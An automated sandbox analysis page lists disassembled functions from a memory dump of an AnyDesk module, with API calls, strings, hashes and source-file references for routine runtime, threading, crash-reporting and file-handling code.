Instruction ID: 346d42ae90e79c8147b5cc9d6dd7561cc865583268e6cb2cba7181fd64c325d4
Opcode Fuzzy Hash: 51962aba01204b3ec9a363561d4adcc0dca43e9e60c674a990de91e178db3287
Instruction Fuzzy Hash: B5B1A075A403059FEF11CFA9D880BEEBBF4FF08704F148169E895A7291EB769945CB20

Uniqueness

Uniqueness Score: -1.00%

Function 69C57EE9 Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 69C57F2D

Part of subcall function 69C598B3: _free.LIBCMT ref: 69C598D0
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C598E2
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C598F4
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C59906
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C59918
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C5992A
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C5993C
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C5994E
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C59960
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C59972
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C59984
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C59996
Part of subcall function 69C598B3: _free.LIBCMT ref: 69C599A8

_free.LIBCMT ref: 69C57F22

Part of subcall function 69C4CBA5: HeapFree.KERNEL32(00000000,00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000), ref: 69C4CBBB
Part of subcall function 69C4CBA5: GetLastError.KERNEL32(00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000,00000000), ref: 69C4CBCD

_free.LIBCMT ref: 69C57F44
_free.LIBCMT ref: 69C57F59
_free.LIBCMT ref: 69C57F64
_free.LIBCMT ref: 69C57F86
_free.LIBCMT ref: 69C57F99
_free.LIBCMT ref: 69C57FA7
_free.LIBCMT ref: 69C57FB2
_free.LIBCMT ref: 69C57FEA
_free.LIBCMT ref: 69C57FF1
_free.LIBCMT ref: 69C5800E
_free.LIBCMT ref: 69C58026

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: a4826c6d6b67bd7721ba1a9d83b75279a22d4d514fc33aa0821889554e451b1e
Instruction ID: 2106a267954ef79babeb10b5e12ba84cbf7bb9cc795f8693df8bcbcf5044c1e8
Opcode Fuzzy Hash: a4826c6d6b67bd7721ba1a9d83b75279a22d4d514fc33aa0821889554e451b1e
Instruction Fuzzy Hash: 06314E31604B019FEB21DA38F844F9673E9BF40714F10D519E49AD71A0FF31A9A89764

Uniqueness

Uniqueness Score: -1.00%

Function 69C225F0 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 300
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(?,?,?), ref: 69C22686
GetCurrentThreadId.KERNEL32 ref: 69C226A8
_Smanip.LIBCPMT ref: 69C22716
_Smanip.LIBCPMT ref: 69C2273C
_Smanip.LIBCPMT ref: 69C22788
_Smanip.LIBCPMT ref: 69C227DF
_Smanip.LIBCPMT ref: 69C2282B
GetTickCount.KERNEL32 ref: 69C22892

Strings

UNKNOWN, xrefs: 69C228CF, 69C228D4
)] , xrefs: 69C22913
VERBOSE, xrefs: 69C228E3

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Smanip$Current$CountProcessThreadTick
String ID: )] $UNKNOWN$VERBOSE
API String ID: 1623629380-3915483136
Opcode ID: ba98b9a16dde5bd4cf87a9896cd7e94da36cbde1c41811f4d56f25bcd4f77724
Instruction ID: db9d401375cc1bddb14007bffec7197e5add0a49bb5de6b951973be580f5d748
Opcode Fuzzy Hash: ba98b9a16dde5bd4cf87a9896cd7e94da36cbde1c41811f4d56f25bcd4f77724
Instruction Fuzzy Hash: 0DA1FEB5A04300AFD724DF64EC55F1ABBE5BF85708F048829F9898B291FB31D505CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 69C31CB0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 265threadCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 69C31CCF
TlsSetValue.KERNEL32(?,?), ref: 69C31CFD
CloseHandle.KERNEL32(?), ref: 69C31D4A
TlsSetValue.KERNEL32(?,00000000), ref: 69C31D72
GetCurrentThreadId.KERNEL32 ref: 69C31E06
AcquireSRWLockExclusive.KERNEL32(?,?,?), ref: 69C31E19
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?), ref: 69C31EDE
AcquireSRWLockExclusive.KERNEL32(?,?,?), ref: 69C31F31
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?), ref: 69C31FBF

Strings

c:\b\build\slave\win\build\src\base\threading\thread_local_win.cc, xrefs: 69C31D14, 69C31D89
Failed to TlsSetValue()., xrefs: 69C31D28, 69C31D9D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ExclusiveLock$AcquireCloseHandleReleaseValue$CurrentThread
String ID: Failed to TlsSetValue().$c:\b\build\slave\win\build\src\base\threading\thread_local_win.cc
API String ID: 3870014289-1575462531
Opcode ID: 7b910b6ad2f7e5807ec24e1a3fc45678bc580abe2019a7a0dc67c1bf612c0051
Instruction ID: f054ac1df49494483968b8dbe51271d2a96736843d45851dbb19dc364d1bc5f2
Opcode Fuzzy Hash: 7b910b6ad2f7e5807ec24e1a3fc45678bc580abe2019a7a0dc67c1bf612c0051
Instruction Fuzzy Hash: 03815475908354AFDB00DF64EC85BCA77E8BF55314F408829FD998B181FB70A649CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 69C599B1 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 69C599F9
_free.LIBCMT ref: 69C59A1D
_free.LIBCMT ref: 69C59A2A
_free.LIBCMT ref: 69C59A4F
_free.LIBCMT ref: 69C59A5C
_free.LIBCMT ref: 69C59A65
_free.LIBCMT ref: 69C59D43
_free.LIBCMT ref: 69C59D4B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 77137fb85bc1237dffa6ba337794c5b711a5dd78753399fa1ea8cee5ccd44897
Instruction ID: 4eb12924d2701b10ff46feb4ec15dd662379442ad3b152805d9a33fd9d280399
Opcode Fuzzy Hash: 77137fb85bc1237dffa6ba337794c5b711a5dd78753399fa1ea8cee5ccd44897
Instruction Fuzzy Hash: CAC177B6E40204AFEB20DBA8DC82FDE77F9EB45744F444165FA05FB281F6709A608764

Uniqueness

Uniqueness Score: -1.00%

Function 69C6526F Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 305fileCOMMON

Download Yara Rule

APIs

Part of subcall function 69C66AB6: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 69C66AEE
Part of subcall function 69C66AB6: GetLastError.KERNEL32 ref: 69C66B07

SetEndOfFile.KERNEL32(?,?,?,?,00000000), ref: 69C652F7
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 69C65310

Part of subcall function 69C22340: GetLastError.KERNEL32(?,00000000), ref: 69C223D6

Part of subcall function 69C66663: GetLastError.KERNEL32(?,000000FF,0000001C,00000001), ref: 69C666A2

Strings

expected to start with , xrefs: 69C65546
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C652BB, 69C6531C, 69C653A9, 69C654CF, 69C6551B, 69C655C8
DAPC, xrefs: 69C65376
failed to write string table, xrefs: 69C655DB
failed to write header, xrefs: 69C653BC
failed to rewind to write, xrefs: 69C652CF
failed to write records, xrefs: 69C654E2
failed to truncate, xrefs: 69C6532F

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$File$Pointer
String ID: expected to start with $DAPC$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc$failed to rewind to write$failed to truncate$failed to write header$failed to write records$failed to write string table
API String ID: 4162258135-419746783
Opcode ID: fe1071f7c03a3a82caca408ac861fcbd56a83d2a1efcfa52cda1c5ff2a880811
Instruction ID: db3f972027df764e666156ab2bd71f300ac2b4336c9c505b4f7c2687e9bacf88
Opcode Fuzzy Hash: fe1071f7c03a3a82caca408ac861fcbd56a83d2a1efcfa52cda1c5ff2a880811
Instruction Fuzzy Hash: 9CA10475940308AAEB18DB64FC95FEDB379AF04318F209099E508BB1D2FF71AA45CB10

Uniqueness

Uniqueness Score: -1.00%

Function 69C26AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C26B06

Strings

SVWj, xrefs: 69C26B56

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: SVWj
API String ID: 0-3360714375
Opcode ID: 2aedc68cbdc9d45f04a7853b484659a91c7c4cef2259388f1b358b7a7f46808e
Instruction ID: 7720cd1074fe7c1fd577a4719d5cccbc7a6c06d911a4c2e6610eae73b0bbd03d
Opcode Fuzzy Hash: 2aedc68cbdc9d45f04a7853b484659a91c7c4cef2259388f1b358b7a7f46808e
Instruction Fuzzy Hash: D0312936A009148FD714DF64F69095E73B4EF40368B5085AADC059B291F731EA42DBE2

Uniqueness

Uniqueness Score: -1.00%

Function 69C677EB Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,69C6763E,000000FF,?,?), ref: 69C67814

Part of subcall function 69C67928: OutputDebugStringW.KERNEL32(69C7EDD8,?,69C67900,Failed to create directory %ls, last error is %d,?,000000B7), ref: 69C67949

Strings

Failed to create directory %ls, last error is %d, xrefs: 69C678F6
%hs( %ls directory conflicts with an existing file. ), xrefs: 69C67839
install_static::`anonymous-namespace'::RecursiveDirectoryCreate, xrefs: 69C6781C
%hs( %ls directory exists ), xrefs: 69C67825
Failed to create one of the parent directories, xrefs: 69C678BF

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AttributesDebugFileOutputString
String ID: %hs( %ls directory conflicts with an existing file. )$%hs( %ls directory exists )$Failed to create directory %ls, last error is %d$Failed to create one of the parent directories$install_static::`anonymous-namespace'::RecursiveDirectoryCreate
API String ID: 708965821-2569357656
Opcode ID: 88436eb92a2fdcbc2866be51c0b296f8a2eebd15e5415008dd800a2139b8db03
Instruction ID: ea14809b6cd946ecb61db1a948c69751b38c00500b6986fab0288345b3b560de
Opcode Fuzzy Hash: 88436eb92a2fdcbc2866be51c0b296f8a2eebd15e5415008dd800a2139b8db03
Instruction Fuzzy Hash: E331F434904304ABDF00DAA5FCD5FAE77B8AF47338F605A19E528A71E0FB345906D661

Uniqueness

Uniqueness Score: -1.00%

Function 69C3D530 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

new.LIBCMT ref: 69C3D54D

Part of subcall function 69C32A20: GetCurrentProcess.KERNEL32(00000000), ref: 69C32A4E
Part of subcall function 69C32A20: GetModuleHandleW.KERNEL32(kernel32.dll,IsWow64Process), ref: 69C32A64
Part of subcall function 69C32A20: GetProcAddress.KERNEL32(00000000), ref: 69C32A6B
Part of subcall function 69C32A20: GetVersionExW.KERNEL32(0000011C), ref: 69C32AE0
Part of subcall function 69C32A20: GetNativeSystemInfo.KERNEL32(?), ref: 69C32B3C

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 69C3D5B7
GetProcAddress.KERNEL32(00000000,InitializeProcThreadAttributeList), ref: 69C3D5CB
GetProcAddress.KERNEL32(00000000,UpdateProcThreadAttribute), ref: 69C3D5D8
GetProcAddress.KERNEL32(00000000,DeleteProcThreadAttributeList), ref: 69C3D5E5

Strings

InitializeProcThreadAttributeList, xrefs: 69C3D5C5
DeleteProcThreadAttributeList, xrefs: 69C3D5DA
kernel32.dll, xrefs: 69C3D5B2
UpdateProcThreadAttribute, xrefs: 69C3D5CD

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AddressProc$HandleModule$CurrentInfoNativeProcessSystemVersion
String ID: DeleteProcThreadAttributeList$InitializeProcThreadAttributeList$UpdateProcThreadAttribute$kernel32.dll
API String ID: 4189602493-1491343547
Opcode ID: 5ca2af53a3d7b4cef546b81d4a1ac9e116bfa1d01bf10a820b0353755d38b8e6
Instruction ID: 11e71bda930b512f61b12353007d38a8b7510ba42f3b4ec629c9b4837032ab70
Opcode Fuzzy Hash: 5ca2af53a3d7b4cef546b81d4a1ac9e116bfa1d01bf10a820b0353755d38b8e6
Instruction Fuzzy Hash: 6511E6B5A063609BEF10DB64AD5076A3EF4ABC7329F90043EE50597240F7784845C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 69C4FA90 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 69C4FAA4

Part of subcall function 69C4CBA5: HeapFree.KERNEL32(00000000,00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000), ref: 69C4CBBB
Part of subcall function 69C4CBA5: GetLastError.KERNEL32(00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000,00000000), ref: 69C4CBCD

_free.LIBCMT ref: 69C4FAB0
_free.LIBCMT ref: 69C4FABB
_free.LIBCMT ref: 69C4FAC6
_free.LIBCMT ref: 69C4FAD1
_free.LIBCMT ref: 69C4FADC
_free.LIBCMT ref: 69C4FAE7
_free.LIBCMT ref: 69C4FAF2
_free.LIBCMT ref: 69C4FAFD
_free.LIBCMT ref: 69C4FB0B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7110a9e48fe4fd9861265fb5d50f395661b49636f0feaab5c646ac3830da9ad4
Instruction ID: 67d8e00f68856bc154961c6f625679d32cc3dbc48dd8dc46f9028dd9d64ff89d
Opcode Fuzzy Hash: 7110a9e48fe4fd9861265fb5d50f395661b49636f0feaab5c646ac3830da9ad4
Instruction Fuzzy Hash: C911B6BA650508BFDF01DF54E880CD93BA5EF44654B01E0A5BE488F271EB32DB589B81

Uniqueness

Uniqueness Score: -1.00%

Function 69C5C926 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58652288ce96af1a62123ad052cae5c46b056abac0944fee417654110ea4e2fe
Instruction ID: 4193e80e27d434498b7b0a8bd95e6ec8bfe1f03605b831823e96865fc5367804
Opcode Fuzzy Hash: 58652288ce96af1a62123ad052cae5c46b056abac0944fee417654110ea4e2fe
Instruction Fuzzy Hash: BAC10B74E842499FDF01CFACE840BAD7BB5FF4A324F048158D452AB391E7349961CB65

Uniqueness

Uniqueness Score: -1.00%

Function 69C5BE3D Relevance: 13.8, APIs: 9, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 69C5BB7C: CreateFileW.KERNEL32(00000000,00000000,?,69C5BEE6,?,?,00000000,?,69C5BEE6,00000000,0000000C), ref: 69C5BB99

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69C5BF51
__dosmaperr.LIBCMT ref: 69C5BF58
GetFileType.KERNEL32(00000000), ref: 69C5BF64
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 69C5BF6E
__dosmaperr.LIBCMT ref: 69C5BF77
CloseHandle.KERNEL32(00000000), ref: 69C5BF97
CloseHandle.KERNEL32(?), ref: 69C5C0E1
GetLastError.KERNEL32 ref: 69C5C113
__dosmaperr.LIBCMT ref: 69C5C11A

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 042a36def87d59f97d5e17a9f63c18a03db0e8bfea843ab166aaf4b444cc0dee
Instruction ID: 02e363a79685bd8be0d015a97dc362615d0298cba5fb34ad88d3b45252221aaf
Opcode Fuzzy Hash: 042a36def87d59f97d5e17a9f63c18a03db0e8bfea843ab166aaf4b444cc0dee
Instruction Fuzzy Hash: 94A14436A141588FDF08CF68E851BAE3FB5EB4A324F144159E812EF3D1E7349922CB56

Uniqueness

Uniqueness Score: -1.00%

Function 69C577D1 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 69C577F8
_free.LIBCMT ref: 69C57863
_free.LIBCMT ref: 69C57889
_free.LIBCMT ref: 69C578B2
_free.LIBCMT ref: 69C578EA
_free.LIBCMT ref: 69C5791B
_free.LIBCMT ref: 69C5795C
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 69C579DD
_free.LIBCMT ref: 69C579F6

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: d704c7d4f3251b5708e62c412f0976ec02310c6d22c9b93147ba133822eec98d
Instruction ID: 88e104d9cbe5e61f78fbcec164aecf444a0a773e4e40b92ce37712b932d83304
Opcode Fuzzy Hash: d704c7d4f3251b5708e62c412f0976ec02310c6d22c9b93147ba133822eec98d
Instruction Fuzzy Hash: B2616972A043106FEF11DF69A840AAD7BB4AF02764F00C16DDC56AB281F73286B1D795

Uniqueness

Uniqueness Score: -1.00%

Function 69C4018B Relevance: 13.7, APIs: 9, Instructions: 200COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 69C401D4
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 69C40268
___crtCompareStringEx.LIBCPMT ref: 69C40282
___crtCompareStringEx.LIBCPMT ref: 69C402BE
___crtCompareStringEx.LIBCPMT ref: 69C40337
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 69C40352
__freea.LIBCMT ref: 69C4035F

Part of subcall function 69C4C844: HeapAlloc.KERNEL32(00000000,0000010C,00000004,?,69C4C8A7,?,00000000,?,69C57B70,0000010C,00000004,?,0000010C,?,?,69C4DB9D), ref: 69C4C876

__freea.LIBCMT ref: 69C40372
__freea.LIBCMT ref: 69C4037D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide___crt__freea$AllocHeap
String ID:
API String ID: 2499053095-0
Opcode ID: 7196d144264a6780f3b1b18813a7ba7c393ff23315be2c6d6f46e8b90e478e9d
Instruction ID: 59891d077e45d569f2fccbfb0538cd9a58b3f03d6908df84b824fa925f98205a
Opcode Fuzzy Hash: 7196d144264a6780f3b1b18813a7ba7c393ff23315be2c6d6f46e8b90e478e9d
Instruction Fuzzy Hash: 7351D472B90216ABDF11CFA5EC80D9E7FA9FB69B54B008529E914E6150FB34C950CB90

Uniqueness

Uniqueness Score: -1.00%

Function 69C5F383 Relevance: 13.6, APIs: 9, Instructions: 77COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000001,?,00000000,00000000), ref: 69C5F396
OpenProcessToken.ADVAPI32(00000000,00000008,?,00000000), ref: 69C5F3B3
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?), ref: 69C5F3CF
GetLastError.KERNEL32 ref: 69C5F3D5
GetLastError.KERNEL32 ref: 69C5F3E0
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 69C5F406
ConvertSidToStringSidW.ADVAPI32(?,?), ref: 69C5F420
CloseHandle.KERNEL32(?), ref: 69C5F43C
CloseHandle.KERNEL32(00000000), ref: 69C5F443

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
